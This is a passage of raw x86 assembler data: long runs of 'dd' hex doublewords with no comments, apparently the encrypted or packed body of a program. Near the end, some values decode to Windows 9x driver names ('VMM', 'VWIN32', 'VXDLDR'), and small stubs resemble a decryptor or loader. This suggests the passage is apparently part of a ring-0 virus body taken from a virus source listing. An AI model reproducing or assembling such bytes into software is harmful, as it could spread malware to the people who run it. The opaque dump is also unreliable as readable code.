9D5FC0A4h, 2CCF74AAh, 39AA940Dh dd 7AAA51CEh, 223C2ECh, 8794723h, 1ECEF007h, 90B1D642h dd 0D64F71D8h, 5FC9F76Eh, 4ED785FAh, 9CD74E6Fh, 65DE3BE7h dd 0FB6856FFh, 0FA96D049h, 0A98834ACh, 160C52CDh, 615FC930h dd 0BEBC0801h, 0B306E86Ch, 8DACDA92h, 0F66ED7E9h, 16704E6Fh dd 714FE6AEh, 73AF0314h, 0E2A62057h, 85E1C084h, 30195F1Ah dd 684968C9h, 12D2320Ch, 0BC5CC35Ah, 414166C0h, 0DAE47DE7h dd 716FF666h, 937F200Ah, 61CF736Ah, 4A2E6544h, 6C521274h dd 78034BF9h, 33E441AEh, 0B2E4B722h, 0C56C4D91h, 9F8AFBh dd 50FA0459h, 0F46D5372h, 0D1F0D148h, 53097648h, 0F86D5337h dd 6BF4D54Ch, 50FA04B0h, 384EF651h, 219B06h, 0D2A9D148h dd 0CA7AEB48h, 7CE85D63h, 860FA3E5h, 1EC77DE2h, 2A14573Eh dd 0B09108BCh, 6AF8EF8h, 8019CB38h, 1BA296E4h, 2EB5B732h dd 77ED5866h, 0BB92D13h, 0B269F692h, 1B4ABDECh, 0CA531B3Ah dd 0C330FA81h, 0E286E262h, 0BDECBE7Dh, 662E0F4Ah, 0D094F1CFh dd 2A630F49h, 17E7D14Eh, 47665102h, 0F173D0EEh, 0D1320C68h dd 0E3AB8A13h, 0FA11B97Ch, 0C16D1660h, 0DC75EF54h, 44DD7FE2h dd 0C1580C7Ah, 0C77AA4DFh, 5BCD8AF9h, 0BE80C8E9h, 0E309943h dd 734D2993h, 7FE6AE0Eh, 0A639E041h, 60FA10F3h, 2387F5D4h dd 6A6ED3C2h, 0D09B0223h, 2F927FABh, 0A71A248Dh, 46EAAC35h dd 8634ABCFh, 47673DFAh, 0C43C0266h, 0B1C95018h, 90F360CAh dd 4ABB852Ch, 6D1FF1C9h, 0F83A48F4h, 27BE9FCCh, 0A138AC19h dd 0A75AC4BFh, 2FB62E99h, 0B78460Eh, 0C6593D59h, 5ABE4C13h dd 74DD95B4h, 0FB52E10h, 6C157147h, 0D4EA9382h, 83E9A26Bh dd 105CBB53h, 0C189A831h, 2D91h, 0D44F2300h, 1BB7F168h dd 0E092F692h, 9AC0A260h, 0BA256D48h, 0CF7480A8h, 3CE35F61h dd 0EC67F8A3h, 0D1F0D1C2h, 0E1486948h, 1E75h, 0D44FC700h dd 0D3320C68h, 4AB68811h, 0B2A0B92h, 0F49CDA43h, 1842DDB9h dd 0B1CF749Bh, 0C28B3990h, 7EB75BC8h, 96BB851Ah, 3B1ACF74h dd 0A935E47Bh, 0AA6B79Fh, 3A78E783h, 61DC7DADh, 5BDF9A05h dd 0C9E8D47Dh, 0D585F781h, 256DFD29h, 0A88D4CD3h, 1F3ED47Ch dd 0C0861F3Eh, 1E81E530h, 0DAC0E2BCh, 3A482C0Dh, 0FC69FACFh dd 82F0D148h, 5A12109Bh, 21A3003Eh, 949EEC88h, 92833086h dd 3605E16h, 6199E441h, 0D64F8F18h, 141F42h, 1AC22000h dd 0AB198DB3h, 18C43C02h, 0AA128FB1h, 19CB3D03h, 928A92B0h dd 2719B034h, 93AD04C0h, 1B258C30h, 0D7933AAAh, 416D2CB3h dd 85EC2E9h, 952BEEBAh, 4ACC930h, 93A853CCh, 5321C930h dd 0B522541Ch, 536D4CDEh, 0C8E970F4h, 0B4128DE9h, 35CF73A7h dd 0D34E7014h, 83FEC069h, 85FB4F8Ah, 0C2E34C8Ah, 0A3E9D4A6h dd 1EEB81F7h, 0AE36E57Ah, 0B697C2EBh, 0EC5967FEh, 0D09EDD78h dd 0F76E7BABh, 139B63h, 9646BC00h, 3FA5013Fh, 8438A896h dd 0EAE132Dh, 0B52F99A7h, 6F63E1Ch, 0B38D24A0h, 7399054h dd 0B789209Ch, 7B3F964Eh, 40D9801Fh, 0A4F2C2E9h, 579B3716h dd 309411C8h, 1F84BAC9h, 0C1A584A5h, 74A2E85Eh, 3C5879CFh dd 8B22A202h, 0A9351B5h, 9746CF34h, 0D0B452Bh, 0E2DC4564h dd 645AC381h, 0C2DC45FFh, 0E79F6DB9h, 661CF183h, 1B27EFDEh dd 0EBCDD584h, 0F6D7F6C2h, 0AFE75DC8h, 79ED4AD4h, 72EF6CD4h dd 537253CAh, 83BA9F21h, 9ABB4946h, 0A2618033h, 82E68213h dd 0EC0C5E1Dh, 4C027C2h, 0EBCABC9Dh, 0C69108Fh, 4362C2ECh dd 11754B0Bh, 0BD28916h, 0DAFBC2ECh, 3BFD62FBh, 0A4C2EC0Ch dd 7EE653DFh, 0BFD33395h, 4362FAD5h, 0F470D4EAh, 0E872B6Dh dd 0C4B2F56Ah, 0D2F3C933h, 0A41888B6h, 4DB688ECh, 58CDF397h dd 448336A9h, 6544C92Dh, 0B4FCDD44h, 2C2231Dh, 62C1FF9Bh dd 0A4263FAh, 0D69A44Ch, 30EF5769h, 2D43ECAFh, 0DDFCDDC9h dd 8B8E0A95h, 1E3FCF74h, 0E57A1E7Ah, 0C2EC7D36h, 0C0FEB697h dd 803BA463h, 49C2EC7Dh, 132D4968h, 0B4950CB0h, 0EDA5178Ah dd 1E097A44h, 7D36E57Ah, 0B697C2ECh, 0EC7D7229h, 5B7A5BC2h dd 0A1EC84C2h, 999C5AC5h, 132DC930h, 0B51031B3h, 7DEF3DFCh dd 350D9900h, 16000012h, 0A79930ACh, 122C853Fh, 99A70EAEh dd 231DB428h, 94B61FC5h, 8E36908Ch, 36AE1927h, 9A42A19Fh dd 2C980D33h, 3AA5C185h, 0C2E93F7Fh, 0EEAC1E48h, 0C9309434h dd 92F666DDh, 94B269F6h, 3A1BC930h, 0F59DDB72h, 0E3FDEBEBh dd 6C4DDFB8h, 8D2B9708h, 8BAACF77h, 70EF8BEFh, 0C2E98BC9h dd 556B2302h, 8D9F1CEDh, 22500C75h, 2B0AEB73h, 5014714Fh dd 9A0E8C9h, 37115BBh, 0EAE3DE3Bh, 0D9801FCBh, 0F2C92FB9h dd 39AD9BD3h, 0FA0273CDh, 128h, 8044A09Eh, 0C2703819h dd 970F9D37h, 15BE0C2Dh, 3093CC8Ah, 0B791E3C9h, 92D3B77h dd 15C17352h, 0BE1F0AA7h, 0A1139C37h, 0FB640064h, 0C9309440h dd 52E0A889h, 0CD52A037h, 0C930940Eh, 0A5D391F7h, 3117A584h dd 0A7EF4783h, 260404F4h, 0B6000000h, 0A1139C37h, 93CC8A15h dd 0DCFDC930h, 4FA7156Eh, 43DB69D3h, 0EE7115F1h, 0C930942Bh dd 61F5BD9Ch, 37h, 139C37D3h, 64D84977h, 2694DCFDh, 93CC8A15h dd 0D1EFC930h, 8EF5CB71h, 2F0E662Eh, 4FA7159Dh, 43DB69D3h dd 1DDC4327h, 0AEC93094h, 0C574EB8Fh, 6C93094h, 47DD6F27h dd 4F4A7EFh, 4F04h, 0A037B600h, 5249808h, 37115B7h, 0F7AAF184h dd 1F80BEA1h, 0AC6AF5BDh, 1DC92FA1h, 4539C96Fh, 3551ACD8h dd 3016EFAAh, 0D8F9D8C9h, 0BE1E82BCh, 0FC4E0627h, 0D74FA715h dd 0CF37096Dh, 15EF5D15h, 0F4430A67h, 0FAB2D417h, 1FE57AC8h dd 57000000h, 0A517A037h, 93CC8A15h, 0C2E3C930h, 4FA71570h dd 7B096DD7h, 510807B6h, 2E9CD4A6h, 0BEE5F143h, 57FFFFFEh dd 0C8579B37h, 0C9309411h, 0DEBA9BBAh, 77DC1A41h, 0F692B3CFh dd 8AF65BC8h, 4B6A4BD2h, 0CC78ECD2h, 1D557455h, 66DE4779h dd 0EE586602h, 4D32E976h, 0BA9BC2E9h, 13F5BF2h, 84A53CA0h dd 0ABEA8ACCh, 4DA950CFh, 322C2E9h, 4D58059Ah, 2044C2E9h dd 0CB104152h, 484BE3h, 0DA4AAF7Bh, 1BFBACD9h, 43h, 9427EEA9h dd 73D0C930h, 3BAB95F1h, 0C68C189h, 0F8341C7Eh, 0A9E1E25Eh dd 2FD98036h, 54E171C9h, 10CB5430h, 0B9C92FD9h, 873DA698h dd 6234ABCFh, 0A3CF740Ah, 714F2B82h, 1233AA12h, 0EFCE5Ah dd 377C0000h, 1276129Bh, 430BB92Ch, 74AC02DCh, 66243CFh dd 6C40C938h, 98A78C4Fh, 84BA1332h, 0BFDBBF1Dh, 0EC4F7920h dd 4D7352C2h, 0D1F069DBh, 5A640099h, 763078ECh, 533753DAh dd 0DF46F66Dh, 0E629B6FEh, 35C93396h, 0EFAA3551h, 0D8C92D91h dd 92B366F9h, 9906C92Dh, 0C92D91E2h, 82BCCAEBh dd 0D49CBD1Fh, 0A3289CA2h, 39188143h, 81A08118h, 0F468DBE5h dd 5C00635Dh, 23990638h, 0A896F26Bh, 0BA2A9C39h, 0BA230223h dd 9E3EA59Bh, 0AA0090D6h, 32138A3Ah, 0E1E87713h, 38CF74D8h dd 0B7F77D4Ah, 0F5BD4E20h, 0F8C6A283h, 83BDD98Bh, 1839A024h dd 5EC7F950h, 0AD1C43E6h, 11887BABh, 0F1785h, 12CA3800h dd 0A32185BBh, 10CC340Ah, 0A21A87B9h, 11D3350Bh, 0AA929AB8h dd 1F21883Ch, 0AB953CA8h, 132D8438h, 0DF9B32B2h, 3C7524BBh dd 56C2E9h, 6ED64FB2h, 959D780Ah, 44F5CF73h, 3AAB950Ch dd 690D138Ah, 0EA73F157h, 2EF883CBh, 49E064C1h, 0F444077Fh dd 312C01h, 379E0000h, 0E976129Bh, 0CF74C1ABh, 264A90E2h dd 3B10ACCEh, 48BD831Ah, 81BF2583h, 1839A024h, 35AE9039h dd 0C050168Fh, 0B08E1175h, 11C93022h, 4F2B9930h, 4B728D7h dd 0C5C93094h, 526CC5E4h, 74EB72F2h, 0C93094CCh, 1E7AE241h dd 56E4DA6Ch, 4901FFC2h, 830AA6E0h, 821578E7h, 7756CF77h dd 31E87713h, 9AC2E977h, 0F397F3BBh, 71E854CDh, 0BA261850h dd 4719AB02h, 274A7DFh, 13414h, 9D37A600h, 8A15A210h, 0C93093CCh dd 1570C2E3h, 681F0AA7h, 8A86721Ah, 3E41C30h, 0DBCCBE31h dd 0BC0E4676h, 77139C37h, 97DDA49h, 0C2E3C25Bh, 80327A5Bh dd 9BB2B15h, 37E65441h, 0E0D144A0h, 169D7CFFh, 8AAB32AAh dd 31388AABh, 0A7EF4783h, 423004F4h, 0D33E7696h, 7A2A62DAh dd 34h, 139C37C8h, 0CC8A15A1h, 0FDC93093h, 0CA580C8Fh dd 0C6B4A72Dh, 4667C0B5h, 0A6C2E393h, 469E5DC2h, 0E2FC930h dd 0A715F446h, 0DB69D34Fh, 28E5F143h, 57000000h, 0A1139C37h dd 93CC8A15h, 0C2E3C930h, 15711570h, 3093CF8Ah, 46D9F8C9h dd 0C9309493h, 395D1534h, 69D34F8Bh, 15F143DBh, 9D1C3167h dd 1A523CE9h, 0F3BEC82Ch, 306D04h, 37DF0000h, 15A517A0h dd 6ED64F71h, 19ED6F7h, 0C9309457h, 15E55776h, 6DD74FA7h dd 15F143DFh, 0DD42BD2Bh, 0C930941Eh, 0E7AF8EAFh, 3273h dd 0A037C100h, 8A15A517h, 0C93093CCh, 611887E3h, 6AC93094h dd 15D86A4Bh, 0D34CBB2Bh, 0C9309428h, 0E9A180A1h, 0D74F3F8Dh dd 2743DF6Dh, 0AC35AF19h, 0E577C58Dh, 0FFFFFEC3h, 15711557h dd 3093CF8Ah, 46D9F8C9h, 0C9309493h, 1B5D1534h, 3E5A3E77h dd 0C78D4D4Ch, 5A7BE25Ah, 802E5D28h, 0E52457C8h, 84A5CF76h dd 0FF65DEE0h, 0C9563256h, 0C2E8E412h, 0E48336A9h, 6544C2E8h dd 3C7A3213h, 0E6791D98h, 0C2E8E433h, 9547B886h, 50CFABDDh dd 0C2E8E4A9h, 22D94622h, 0ABC2E8E4h, 138AAB8Ah, 0E8E3CF8Ch dd 6CB6CDC2h, 0C87CEBD5h, 0FF4EB680h, 2CE7FBACh, 83000000h dd 0ECC178E7h, 340AC2E8h, 793110CCh, 0BA2B15CBh, 9429D04Fh dd 83A2C930h, 521A3BA2h, 30940ACDh, 0D292F3C9h, 0D2EF7Bh dd 375D0000h, 2B990D9Bh, 0FF16E0Ah, 4ECF7498h, 0CE350B6Fh dd 71501471h, 16BB2B15h, 8E1736AEh, 0A554CBAFh, 26C2EC91h dd 0D8E64F07h, 7229B669h, 5BC2EC91h, 84C25B7Ah, 0FBC5A1ECh dd 0F591D98Bh, 33D9276Ah, 891672C9h, 0C92D4FD2h, 0E492DAFBh dd 0A1C5A1C5h, 509F5AC5h, 928C92Dh, 2D4FE396h, 8DC5E4C9h dd 45EC50B3h, 0CD54087Bh, 0CAAEE78Bh, 47A0F1B8h, 2E93942Fh dd 83E7AF8Eh, 74460D1Ch, 9BFFDECFh, 2D8440A5h, 0B92DB213h dd 0D7B3920Bh, 0EBC19148h, 3A1B3AC2h, 0ABE5BA9Fh, 0C357CE7Bh dd 0BC4h, 14BD1F85h, 0A30ABA2Ah, 1EB7259Dh, 0B41DBF20h dd 1A81C8Ah, 0A503F923h, 3DA8963Fh, 0B1102E87h, 279CA20Bh dd 345014BDh, 0E938F0ABh, 3D8FD9C2h, 0CE336715h, 0DC24A7A3h dd 8B39AA94h, 0DB72C12h, 25F18A94h, 40E95BC8h, 0F43B0E76h dd 6A2701h, 31430000h, 5B87EB43h, 2290D8D1h, 76129B37h dd 93CE8D12h, 0DEFFC930h, 0CF6DF296h, 3ECF74A2h, 0B821A300h dd 0B762FD99h, 10C2EC86h, 0B7891031h, 13F964Eh, 191A73A4h dd 0FD8F3590h, 87E1FE55h, 446544DDh, 0C83F0165h, 1EBE221Ch dd 77EEA687h, 7014A131h, 3080F1EFh, 0B92642C9h, 0C9308002h dd 6FD4EACBh, 54D6CF5h, 49FB5273h, 9BB2B15h, 5D077F41h dd 94B96BF4h, 0E958C930h, 0F49CDA73h, 7FE3DDB9h, 6EF195DDh dd 0CF77DC0Ah, 0B6441B69h, 7D6596DAh, 6624335h, 0BD14C838h dd 0A7DF470Fh, 8F140274h, 70000001h, 93D08B14h, 0B1FDC9B0h dd 777189FDh, 0D7A584F2h, 3C0058F6h, 75C78FDCh, 0A2109D37h dd 2BEE7115h, 9CC93094h, 0E91F5BDh, 0C9309448h, 1C224667h dd 82A33AAAh, 711578CAh, 30942BEEh, 0F5BD9CC9h, 57CBF591h dd 0A1FADE5h, 9C37BE1Fh, 0F8057713h, 0A65E228Eh, 8636AB95h dd 0D6647CCEh, 0F7E6715h, 2FABB968h, 196BA1BEh, 5018ACB7h dd 84367F16h, 0EF478331h, 404F4A7h, 58h, 7CE85E60h, 3FA0C4E5h dd 0CC30947Ch, 96246C4Dh, 0A1139C37h, 93CC8A15h, 0DCFDC930h dd 15A7156Eh, 99B42D67h, 1260549Fh, 535DB7D7h, 0CAF4BC80h dd 4354E656h, 1DDC4327h, 0AEC93094h, 0E575C78Fh, 56h, 9C48BF81h dd 15C73B05h, 0FE8CAD8Ch, 4B5A817Ah, 48FAB2DCh, 2BEE7115h dd 8EC93094h, 30946A11h, 344263C9h, 781B5D15h, 13F5B3Fh dd 0F8A33CA0h, 0D1C93093h, 150AB8F0h, 3093CC8Ah, 70C2E3C9h dd 35D06715h, 0C5AAAB3Eh, 5B7AE361h, 0E456327Ah, 0DB69D34Fh dd 0EF47F143h, 404F4A7h, 45h, 17A037B6h, 0BC2B15A5h, 0BB244008h dd 0C93093FDh, 0DF85E0DEh, 1A85E197h, 0C930945Fh, 0DA684968h dd 2B157115h, 0E19807BDh, 0EAC93093h, 4F3183CBh, 6D096DD7h dd 309447F2h, 0E9A180C9h, 0E5F1435Bh, 24h, 17A03757h, 0CC8A15A5h dd 0E3C93093h, 0A71570C2h, 96DD74Fh, 8811CB37h, 7F22DBA9h dd 70DFD5B4h, 0F1438A38h, 0FFFE68E5h, 9B3757FFh, 0B2E97612h dd 1BCF77DBh, 0EB2C5E3Ah, 90AAE507h, 0D1EF8BC3h, 1F59F074h dd 0C55A3E77h, 0C2E94716h, 6B0F96B7h, 0E871F355h, 5D1E81C9h dd 5FC2E947h, 0B115FA24h, 42FBAD62h, 1Ch, 9427EEF0h, 0B48AC930h dd 2D0C954Fh, 65EA5B65h, 0E6C75EFEh, 0D0FA6EC7h, 48000000h dd 0D4116715h, 50BA27FDh, 0D64FF56Eh, 59F9BFF7h, 1F86B8DCh dd 0ED89EDA5h, 6BF272D3h, 0B39D024Ah, 32CF7401h, 0DA497713h dd 0CBAFCB62h, 0EBFFA554h, 4F0726C2h, 33AA1271h, 8A15DD75h dd 0C2EBFECFh, 58039CF8h, 71C2EBFFh, 34507150h, 33466CABh dd 187C5DC9h, 58E2E46Ah, 0D29AFA37h, 0A31988B6h, 950A6E0Ah dd 0C92D3CE6h, 0B08EC6E7h, 3472EB51h, 1175119Ch, 2D3CCB8Eh dd 9043F8C9h, 6F4CB695h, 14703819h, 7481808Bh, 0C6849CFh dd 0BA13D132h, 0A51F84h, 7BAB292Bh, 4550C45Dh, 6000008h dd 0B789209Ch, 23C954Fh, 0A9973E9Eh, 132D8438h, 84A60FB5h dd 9E46A09Ch, 269E0937h, 0EA52B18Fh, 5C087D43h, 4AD5B1F5h dd 0C2E9358Fh, 15DC6E38h, 4E06B62Bh, 0C8511370h, 0A457C8ACh dd 25C93094h, 11724C04h, 93D28916h, 0DAFBC930h, 77C62FBh dd 1FC53E1Bh, 0F9A0D2B6h, 0D419DF44h, 4DD488F9h, 33054D6Ch dd 1F4A6D3h, 4660h, 9B37D200h, 0ABE97612h, 0E2CF74B5h dd 5A3E5AC3h, 0EC7316C5h, 1C89B7C2h, 5EC189A8h, 0C2EC7397h dd 0D9400460h, 59C07CE7h, 7CD05A21h, 71D6403Bh, 0FBB09315h dd 0B06FD4EAh, 0EC806C2Fh, 5D7C5DC2h, 864515h, 37F70000h dd 1276129Bh, 3093CE8Dh, 904CB7C9h, 605E2809h, 377F5E06h dd 0B18ECC53h dd 1E3FCF74h, 8991E387h, 232F897Ch, 5DC6F8B0h, 4CD587F8h dd 81E54C6Dh, 0B55271F3h, 6E261CADh, 0F56EF350h, 80A4D64Fh dd 318668C8h, 0B0290829h, 0B7D35AF6h, 5BF01989h, 0AC769D63h dd 0D2B6FEDFh, 3005634Dh, 7A82F0C9h, 1260A289h, 8438A997h dd 1F84BACCh, 1984CBAh, 0FC980120h, 2FB9B863h, 113011C9h dd 0FC6A5430h, 1BA90048h, 0EFCE6715h, 0A5C92238h, 0DB585EEDh dd 0A49AFE37h, 0AFCB8341h, 74436E30h, 0EA8EAFCFh, 3E6A118Eh dd 4263C2ECh, 1159037Ch, 88AECE51h, 832F8362h, 0C3F16E0Ah dd 0E80942A5h, 0BAF26AD6h, 3274EDCCh, 173179Eh, 0BC4DBCADh dd 96D2580h, 0FE7D4496h, 0C0A4850Eh, 29803BA4h, 684902FEh dd 97A4420h, 0F296F25Bh, 0FE29AE6Dh, 3E1F02h, 48763EA6h dd 0EA6F3ADBh, 0F2DC79C5h, 0FB4776D3h, 64FDBBDDh, 687F0h dd 62DA4800h, 0D391F5CBh, 60DC447Ah, 0D28AF7C9h, 61E3457Bh dd 0DA42EAC8h, 6F51F86Ch, 0DBE54CF8h, 635DF468h, 0AFEB4202h dd 33A554CBh, 7026C2E9h, 71D64FC2h, 178EAF15h, 0AA03B929h dd 0ADC944ECh, 0C48C3093h, 0DBF83FA0h, 0A9DBCF77h, 0DB11DF21h dd 32440C18h, 894E6740h, 31AE790Ah, 0C2E8EC8Ah, 62436243h dd 0FF5DC5FBh, 0A89E5D5Ah, 0A632AB7Bh, 614h, 0C46DCF35h dd 73DA8AFAh, 0CE67D54Dh, 842D8FF0h, 31984CBAh, 0B5130913h dd 2D98A60Fh, 0C1201EB7h, 178CB21Bh, 244004ADh, 0E93300BBh dd 2D9FC9C2h, 76129B37h, 9A36D748h, 0E5DA6ADAh, 98B92001h dd 0E82BB4D0h, 21CF76EFh, 1D3CA81Fh, 9646BA84h, 0A89D3E33h dd 47D34A7Bh, 5B8h, 18B12B99h, 0AF06BE26h, 228B3191h, 9039A31Ch dd 258C38AEh, 0C93F1D07h, 198CB21Bh, 0C53C02ABh, 2380BE17h dd 284C08A1h, 0E93304B7h, 2193C5C2h, 76129B37h, 77DBA6E9h dd 68D9E7CFh, 284C6DF4h, 0E94D04B7h, 0C5E4C5C2h, 0B9239FA1h dd 0EA5668F1h, 71C4D772h, 0A1387BA8h, 55B35h, 56067C00h dd 0FF65C1FFh, 44F86856h, 0CE6ED3EDh, 75EF5967h, 0C636FEDCh dd 734DE460h, 0C7F95014h, 7749E05Ch, 0BBFF560Eh, 329940DFh dd 6432C2E9h, 71D64FD6h, 9252B217h, 920B2A0Bh, 350B92B3h dd 0C68D14D0h, 1F8471BDh, 8A923AF6h, 3D1C0A95h, 9439AA94h dd 829B02Ch, 94C9407Ah, 0EECF4794h, 0B62D1377h, 27D14E06h dd 88C9307Ah, 59CA27F3h, 5FFD8FEBh, 6596BBE6h, 1215493Bh dd 3200B9C5h, 0D3B7D37Ah, 306B8D4Ch, 571F3EC9h, 50348111h dd 0CCF5034h, 0BDC9306Bh, 0FC4BD49Ch, 4DCF77B2h, 0CD36086Ch dd 88177317h, 0C2E925D1h, 81E5DBFAh, 337B5AC3h, 0D98CFE9Ah dd 0F3017BAh, 0CD6FD3EDh, 9A4ABB85h, 0E9596703h, 83CBEA73h dd 84E02DC5h, 300D9F1Bh, 0A1023CC9h, 3C1D6B23h, 0E7CB2A58h dd 0AD50DC41h, 46BF81E5h, 5DC4FA9Eh, 0F4766FFh, 0B92B98A6h dd 7326B9DDh, 54C93000h, 0C0A43D75h, 42DB81FEh, 0C56D2B63h dd 0FFE7920Dh, 4E4C92Fh, 4621EC2Ah, 3A1B3A4Ch, 5417C15Eh dd 0D2B6CF74h, 0EC548E4Dh, 7B22DC2h, 0C0C2EC54h, 97B697E1h dd 0AB762B32h, 5CC8517Bh, 420h, 0B019C321h, 7AE168Eh, 0BA13C939h dd 8A11B84h, 0BD14D036h, 41A7959Fh, 0B1142A83h, 3DA49A33h dd 9B08369Fh, 0A0C48029h, 0E9317C3Fh, 0A91B4DC2h, 8BC2B15h dd 5A12CA36h, 2145FF64h, 0D000953h, 0E07FAFB1h, 0C9302E39h dd 0DA92B392h, 5C087D43h, 961FB3F5h, 4F776DF2h, 0FAC4CF74h dd 303D8A8Bh, 592ABCF7h, 78463078h, 0EBCA5309h, 93753CAh dd 5755719Ah, 2DFC995h, 2084BA23h, 3D1C3DA4h, 962BEA75h dd 0D6ADC2EBh, 0B17FE74Ch, 27B4FBAFh, 6000000h, 76129B37h dd 749F53E9h, 29BBACFh, 76EE5866h, 1986CEEFh, 0C2EC895Eh dd 14F9255Eh, 0FBB0A8B0h, 11D45h, 0D64FF700h, 5FC9F76Eh dd 0B2D686FAh, 30946E2Dh, 5F7E5FC9h, 0D98BF8C6h, 2874CFBDh dd 3E31AAB2h, 4C3E1FC5h, 40BBD57Dh, 148DC509h, 0A20BB92Ah dd 3084BD3Dh, 61E340C9h, 0E85F6105h, 8438E37Ch, 0B091C930h dd 84904BD4h, 1839C930h, 5EC7F950h, 99397FE6h, 0A53CA003h dd 0A5C1A584h, 231A13D7h, 651750E2h, 1E6CAC86h, 9E014976h dd 0CF73D600h, 8978EDD3h, 0EBD26316h, 644564C2h, 0E294DCFDh dd 2999A7C3h, 430B2AB3h, 8904ACEAh, 7B7972EDh, 93B2C932h dd 4D0C93F7h, 7EC92E2Ah, 1773175Fh, 2A2DEC73h, 0BF9EC92Eh dd 2A9544DBh, 1736C92Eh, 5D07615Fh, 0ADE54B39h, 0C65B8519h dd 4AD389F8h, 0EE8A236Bh, 54CD6FD0h, 0A5033D75h, 0E5759A3Fh dd 1A837DEDh, 28F8Eh, 0EA52B000h, 5B097D43h, 0E854CCF2h dd 5A027F41h, 0E95BCDF3h, 42BA6240h, 0F7C960E4h, 437DD490h dd 0EBD57CE0h, 2763CA7Ah, 301DDC43h, 0F8AEC2E9h, 6BD94F4Ah dd 2D98A6C2h, 64C1FFB7h, 132D49E0h, 0B4950CB0h, 71154EFCh dd 30942BEEh, 0F5BD9CC9h, 8FC51FB3h, 0E813BE7h, 7D432706h dd 3655B09h, 0F26D0941h, 0CF740C68h, 918D3A1h, 0C320741Eh dd 31E47BE2h, 0A3C2EC53h, 7DE94ED8h, 0B6FBB072h, 0BFh dd 6ED64F04h, 50E193F7h, 0AA82B2C7h, 0F96F5119h, 0CD4DD24Bh dd 30C92FB1h, 0DCB811D3h, 0A4C084E2h, 2FB1803Bh, 206849C9h dd 0A63FA51Eh, 0A1C550E0h, 73D3A03Eh, 0E95F61CFh, 0D940FC64h dd 6140D9F8h, 3AFE940h, 2BB23295h, 13D1340Ah, 0EE8AAB8Ah dd 32791D71h, 0BA2250C9h, 0A77C2295h, 48761233h, 4C0D35DEh dd 6FC471D5h, 2DAB49F0h, 82A382C9h, 506E0AA3h, 3D034BF1h dd 49BC19CBh, 0FF7DEDDEh, 186F266h, 0DD470000h, 7CE8D67Fh dd 0E35F61C8h, 71EED079h, 0EA5C62CBh, 27F1D37Ah, 0B811D335h dd 0CA51F86h, 0C46DCF32h, 72DB89FAh, 0ECD5236h, 0BFC2E92Eh dd 0D94F5BE9h, 87FCC26Bh, 4FC674DDh, 0AA1271D6h, 0B72C128Bh dd 0F057690Dh, 84CCED74h, 4EC76B2Dh, 8F87582Ah, 6426D699h dd 0A6CBCA5Dh, 622A0B85h, 615B9906h, 0B392CF74h, 1F02B52Ah dd 89F2C2ECh, 3A4CB89Dh, 27E9FBB0h, 5B000000h, 76129B37h dd 74C50FE9h, 0C65F7ECFh, 0EC649E59h, 0B9651EC2h, 0B083F054h dd 920F31FBh, 0DA92B32Ah, 138Ah, 28EE3800h, 0A9C93094h dd 77E88C09h, 0CF74BDFDh, 6B41D3Ch, 76129B37h, 74C33FE9h dd 0CBAF8ECFh, 658930AFh, 6342C2ECh, 0E8D6B22Bh, 7C5DC478h dd 64ECAB34h, 3195C2ECh, 0AD142AB3h, 87FC960Fh, 9DE6A19Bh dd 8038AC91h, 27FDFBB0h, 4F000000h, 7BD2B15h, 9425D04Fh dd 0C6B4C930h, 0C8E73B35h, 580C7A1Eh, 0DB773179h, 2BA93652h dd 0E2CF74BAh, 0DBFA6ADCh, 9B37C072h, 2C127612h, 0DF4008B4h dd 0CF77DC30h, 370990B1h, 259F09CEh, 3293AD04h, 8EB42BB2h dd 72323713h, 0B3406416h, 6DF8CAA8h, 3ED3A01Fh, 9DD525A6h dd 66DF3CE6h, 45DC80E1h, 0D2EC4564h, 0A997F371h, 0B6F0823Ah dd 0E8D57ABBh, 93AD347Ch, 6F178E2Eh, 0B82D0A14h, 2A9BA50Ch dd 0A7ACDEBAh, 0BE892175h, 3F9D043Ah, 56CF87A6h, 3C2h dd 0FB497000h, 0FE67D54Fh, 78E163C0h, 0F861DB46h, 7CE55FC6h dd 0F960E442h, 7AE361C7h, 0F861DB44h, 7BE25AC6h, 0FA63E145h dd 5E5456EDh, 4C681h, 0EE830000h, 24348704h, 0E089505Ch dd 405h, 4E88300h, 5C240487h, 51240C89h, 0C181E189h, 4 dd 4E981h, 0C870000h, 4895C24h, 4EC8124h, 89000000h, 96B82404h dd 57D0C46h, 893B025Dh, 6858C189h, 7654h, 81242489h, 42404h dd 56580000h, 70895E51h dd 34FF5E08h, 0C4835824h, 2434FF04h, 4C48159h, 0E9000000h dd 0FFFD16EAh, 0B929317Ch, 0FEA30378h, 0B8A744D9h, 64767B3h dd 0E0FFC503h, 65510918h, 7FAC0485h, 0CC475DDh, 11D11AAAh dd 63794BBCh, 3C63C12Ch, 53774C71h, 70D32DC1h, 5DE1AF73h dd 77AE13A1h, 61D2D5A9h, 3B584EDAh, 31C91A9Dh, 794F50A0h dd 0FFD1E07h, 4E72EE00h, 6EF63A03h, 103789EBh, 842203Ah dd 7E4052F5h, 4AA4EA12h, 0CE8h, 6A2ED200h, 0FD8B5E77h dd 8749BB4Dh, 0CBBF0F11h, 0CE958h, 61CA0000h, 0A3BD6879h dd 61808C50h, 0C08138D7h, 7087h, 0D74FBB66h, 0BAh, 10E900h dd 0F0C20000h, 7D309FB3h, 0BAE18B82h, 4CCD5DD1h, 348B9AC4h dd 0BE910h, 4C0C0000h, 39036E15h, 0C250B991h, 21EE8147h dd 604735E7h, 0AE9h, 94E50200h, 56BDED60h, 0FBD42ACh, 8161F0B7h dd 0CA9F63F6h, 81D88A1Ah, 7DFD7FC6h, 0B8666002h, 840FB243h dd 6, 800Fh, 56610000h, 11E9h, 9133D800h, 789D6293h, 7B58BD27h dd 1AFB118Dh, 48FF351h, 0BBC38010h, 4991CB81h, 0EA811AA1h dd 21568E18h, 13E9h, 98231300h, 66BF1E88h, 0BED0E10h, 8F5ED315h dd 1BC7544Bh, 8E14C281h, 0B70F2156h, 60FA81CAh, 0FFFFF90h dd 0FFFF5D85h, 0DA8B66FFh, 464934EBh, 52474D53h, 4B562020h dd 20202044h, 4D562020h, 2020204Dh, 57562020h, 32334E49h dd 58562020h, 52444C44h, 2020h, 2 dup(0) dd 0C2E90000h, 0FC000007h, 51006A60h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 3AEDF738h dd 662D25E7h, 0ABF6056h, 803125C2h, 0E961CCD6h, 0Bh, 0C62B6CC6h dd 0B1C1BF6Fh, 6050F725h, 162BCF81h, 0FE902F6h, 0F0000000h dd 92C12E0Bh, 0C58E9AA1h, 25CE921Ch, 0C761409Eh, 4769B085h dd 6, 5E900h, 11F00000h, 8B8A4060h, 51006AC6h, 3E8h, 0C3592000h 